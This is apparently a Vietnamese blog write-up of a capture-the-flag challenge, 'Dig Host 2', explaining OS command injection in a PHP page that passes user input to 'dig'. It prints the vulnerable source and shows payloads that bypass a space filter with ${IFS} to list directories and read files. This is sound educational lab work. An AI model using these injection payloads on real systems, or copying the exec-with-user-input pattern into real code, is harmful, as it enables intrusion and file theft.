[FE-CTF 2022] Dig Host 2

Information Gathering

Tiếp nối challenge 1 của Dig host 1. Các bạn có thể đọc lại bài viết đó trước khi đọc bài này nhé. Link bài 1 ở đây.

Có một điều nâng cấp ở challenge này là filter.
Mình đưa vào một domain là google.com và tool dig sẽ phân giải tên miền thành các địa chỉ IP.

Nhưng sau khi mình gõ vào ; ls và Enter thì dấu cách của mình đã bị mất đi.

Trước khi Enter

Dấu cách đã bị filter.

Sau khi Enter

Nhiệm vụ của challenge này là bypass filter dấu cách và tìm flag.

Exploit

Mình có tham khảo các payload thông dụng trong việc bypass dấu cách ở PayloadAllOfThing. Và mình có để ý tới ${IFS}.
Không biết ${IFS} là gì, nên mình đi search google thì nó viết tắt của từ Internal Filed Separator hoặc từ Input Filed Separator. Và sau khi đọc, mình tóm tắt lại là nó dùng để ngăn cách các từ, có thể dùng để bypass dấu cách.

Các bạn có thể đọc thêm tại đây.

Sau khi đã có ý tưởng để bypass dấu cách, mình sẽ đọc file php hiện tại trong thư mục.

1
google.com;ls;cat${IFS}dig_host_level2.php

Show source

Source Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
require_once("../include/smarty.php");

$host = "";
$output = "";

if(isset($_POST) && is_array($_POST) && array_key_exists("host", $_POST)) {
$host = preg_replace("/[\s<-]+/", "", $_POST["host"]);

exec("dig ".$host, $output);
}

$smarty->assign(array(
"PHP_SELF" => $_SERVER["PHP_SELF"],
"host" => $host,
"output" => implode("\n", $output)
));

$smarty->display("dig_host_level2.tpl");
?>

Chúng ta có thể để ý dòng 8 ở đoạn code trên, một hoặc nhiều các ký tự \s đại diện cho string, dấu <, dấu - sẽ bị đổi thành ký tự trống.

Show các file và thư mục ở thư mục trước đó 1 cấp và đã tìm thấy được file flag.

1
google.com;ls${IFS}../

file flag

Tiến hành đọc file flag và kết thúc challenge.

cat file flag

References

  1. https://www.makeuseof.com/how-to-run-multiple-linux-commands-at-once/#:~:text=On%20Linux%2C%20there%20are%20three,The%20Logical%20AND%20(%26%26)%20operator
  2. https://github.com/dovankha/PayloadsAllTheThings/tree/master/Command%20Injection#filter-bypasses
  3. https://knowledge-base.secureflag.com/vulnerabilities/code_injection/os_command_injection_vulnerability.html
  4. https://bash.cyberciti.biz/guide/$IFS#:~:text=7%20External%20links-,The%20meaning%20of%20IFS%20in%20Bash,with%20the%20read%20builtin%20command.
  5. https://stackoverflow.com/questions/11521456/meaning-of-a-simple-pattern-of-preg-replace-s
  6. https://www.php.net/manual/en/regexp.reference.delimiters.php
  7. https://www.javatpoint.com/php-preg_replace-function
  8. https://medium.com/csg-govtech/a-simple-os-command-injection-challenge-5acf92799f74

[FE-CTF 2022] Dig Host 2
https://dovankha.github.io/2022/11/06/dig-host-2/
Author
Khado
Posted on
November 6, 2022
Licensed under